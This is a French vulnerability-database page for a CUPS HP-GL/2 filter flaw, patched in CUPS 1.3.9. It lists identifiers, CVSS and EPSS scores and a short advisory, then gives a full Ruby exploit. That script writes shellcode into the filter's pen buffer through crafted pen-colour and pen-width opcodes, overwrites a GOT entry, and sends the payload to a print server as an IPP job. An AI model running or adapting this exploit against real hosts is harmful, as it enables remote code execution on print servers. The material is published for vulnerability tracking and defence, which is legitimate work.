CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
The Hewlett-Packard Graphics Language (HPGL) filter in CUPS before 1.3.9 allows remote attackers to execute arbitrary code via crafted pen width and pen color opcodes that overwrite arbitrary memory.
Category : Resource Management Errors Weaknesses in this category are related to improper management of system resources.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
55.46%
–
–
2022-03-20
–
–
55.46%
–
–
2023-03-12
–
–
–
92.28%
–
2023-07-02
–
–
–
92.28%
–
2023-08-13
–
–
–
91.18%
–
2023-09-17
–
–
–
91.89%
–
2023-12-03
–
–
–
92.03%
–
2024-03-17
–
–
–
91.69%
–
2024-04-21
–
–
–
91.44%
–
2024-06-02
–
–
–
92.01%
–
2024-06-02
–
–
–
92.01%
–
2024-07-07
–
–
–
91.85%
–
2024-08-11
–
–
–
92%
–
2024-10-20
–
–
–
91.88%
–
2024-11-24
–
–
–
90.91%
–
2024-12-22
–
–
–
90.53%
–
2025-01-05
–
–
–
91.24%
–
2025-02-09
–
–
–
90.83%
–
2025-01-19
–
–
–
91.24%
–
2025-02-16
–
–
–
90.83%
–
2025-03-18
–
–
–
–
55.58%
2025-03-18
–
–
–
–
55.58,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2008-10-08 22h00 +00:00 Auteur : regenrecht EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/31688/info
CUPS is prone to a remote code-execution vulnerability caused by an error in the 'HP-GL/2 filter.
Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely cause a denial-of-service condition. Note that local users may also exploit this vulnerability to elevate privileges.
Successful remote exploits may require printer sharing to be enabled on the vulnerable system.
The issue affects versions prior to CUPS 1.3.9.
NOTE: This issue was previously discussed in BID 31681 (Apple Mac OS X 2008-007 Multiple Security Vulnerabilities), but has been assigned its own record to better document the vulnerability.
#!/usr/bin/ruby -w
# CUPS 1.3.7 (HP-GL/2 filter) remote code execution
# gives uid=2(daemon) gid=7(lp) groups=7(lp)
# linux 2.6.25/randomize_va_space = 1, glibc 2.7
#
# An Introduction to HP-GL/2 Graphics
# http://www.tech-diy.com/HP%20Graphics%20Language.htm
# Internet Printing Protocol/1.1: Encoding and Transport
# http://tools.ietf.org/html/rfc2910
# Internet Printing Protocol/1.1: Model and Semantics
# http://tools.ietf.org/html/rfc2911
# :::::::::::::::::::::::::::::::::: setup ::::::::::::::::::::::::::::::::::
host = '127.0.0.1'
port = 631
printer = 'Virtual_Printer'
Pens_addr = 0x08073600 # objdump -T hpgltops | grep Pens$
fprintf_got = 0x080532cc # objdump -R hpgltops | grep fprintf
# linux_ia32_exec - CMD=/bin/touch /tmp/yello Size=84, metasploit.com
# encoder=PexFnstenvSub, restricted chars: 0xff
shellcode =
"\x2b\xc9\x83\xe9\xf1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7c" +
"\x48\x22\xd6\x83\xeb\xfc\xe2\xf4\x16\x43\x7a\x4f\x2e\x2e\x4a\xfb" +
"\x1f\xc1\xc5\xbe\x53\x3b\x4a\xd6\x14\x67\x40\xbf\x12\xc1\xc1\x84" +
"\x94\x5e\x22\xd6\x7c\x67\x40\xbf\x12\x67\x56\xb9\x09\x2b\x4a\xf6" +
"\x53\x3c\x4f\xa6\x53\x31\x47\xba\x10\x27\x22\x81\x2f\xc1\xc3\x1b" +
"\xfc\x48\x22\xd6";
# :::::::::::::::::::::::::::::::::: code :::::::::::::::::::::::::::::::::::
# beacause of hpgl-attr.c:68-73 and 269-274
def CR_setup()
"CR0,1,0,1,0,1;"
end
# PS is a bit tricky here. final weight of pen (PW code) is calculated as:
# weight*=hypot(ps[0],ps[1])/1016.0*72.0 (which is NOT hypot/73152.0),
# where ps0=72.0*arg1/1016.0 and ps1=72.0*arg2/1016.0.
# so, hoping to get things accurate I set multiplier to 1.0
def PS_setup()
"WU1;" + # set the units used for pen widths
"RO0;" + # (do not) rotate the plot
"PS0,199.123455;"; # set the plot size
end
# alternative approach to fight floating point rounding errors
# first one seems to be more successful, though
def PS_setup_alt()
"WU0;" +
"RO0;";
end
# set the pen width (PS!)
def PW(width, pen)
"PW#{width},#{pen};"
end
def PW_alt(width, pen)
"PW#{width*25.4/72.0},#{pen};"
end
# "Set the pen color..."
def PC(pen, r, g, b)
"PC#{pen},#{r},#{g},#{b};"
end
# we'll be storing shellcode in Pens[1024] static buffer
# typedef struct
# {
# float rgb[3]; /* Pen color */
# float width; /* Pen width */
# } pen_t;
def memcpy(data)
while (data.length % 16 != 0)
data += "\x90";
end
s = ''
a = 0, b = 0, i = 0
data.unpack('f*').each { |f|
case ((i += 1) % 4)
when 1: a = f
when 2: b = f
when 3: s += PC(i/4, a, b, f)
else s += PW(f, (i-1)/4)
end
}
return s;
end
# overwrite all 16 bytes with the same value
def poke(addr, value)
f = [value].pack('i').unpack('f') # floatyfication!
i = (addr-Pens_addr)/16
return PC(i, f, f, f) + PW(f, i)
end
hpgl_data =
"BP;" + # to be recognized by CUPS
CR_setup() +
PS_setup() +
memcpy(shellcode) +
poke(fprintf_got, Pens_addr) +
PC(0, 0, 0, 0); # whatever
def attribute(tag, name, value)
[tag].pack('C') +
[name.length].pack('n') +
name +
[value.length].pack('n') +
value
end
# tag - meaning (rfc2910#section-3.5)
# 0x42 nameWithoutLanguage
# 0x45 uri
# 0x47 charset
# 0x48 naturalLanguage
operation_attr =
attribute(0x47, 'attributes-charset', 'utf-8') +
attribute(0x48, 'attributes-natural-language', 'en-us') +
attribute(0x45, 'printer-uri', "http://#{host}:#{port}/printers/#{printer}") +
attribute(0x42, 'job-name', 'zee greeteengz') +
attribute(0x42, 'document-format', 'application/vnd.hp-HPGL');
ipp_data =
"\x01\x00" + # version-number: 1.0
"\x00\x02" + # operation-id: Print-job
"\x00\x00\x00\x01" + # request-id: 1
"\x01" + # operation-attributes-tag
operation_attr +
"\x02" + # job-attributes-tag
"\x03" + # end-of-attributes-tag
hpgl_data;
http_request =
"""POST /printers/#{printer} HTTP/1.1
Content-Type: application/ipp
User-Agent: Internet Print Provider
Host: #{host}
Content-Length: #{ipp_data.length}
Connection: Keep-Alive
Cache-Control: no-cache
"""
require 'socket'
NL = "\r\n"
if (false)
# ./hpgltops 0 none none 1 '' output.hpgl
puts hpgl_data
puts "[+] dumping HP/GL-2 into output.hpgl"
f = File.new('output.hpgl', 'w')
f.write(hpgl_data)
f.close()
exit(0)
end
puts "[+] connecting to #{host}:#{port}"
s = TCPSocket.open(host, port)
puts "[+] asking #{printer} for a printout"
http_request.each_line { |line|
s.write(line.strip + NL)
}
s.write(NL)
s.write(ipp_data)
s.read(1)
s.close()
puts "[+] done"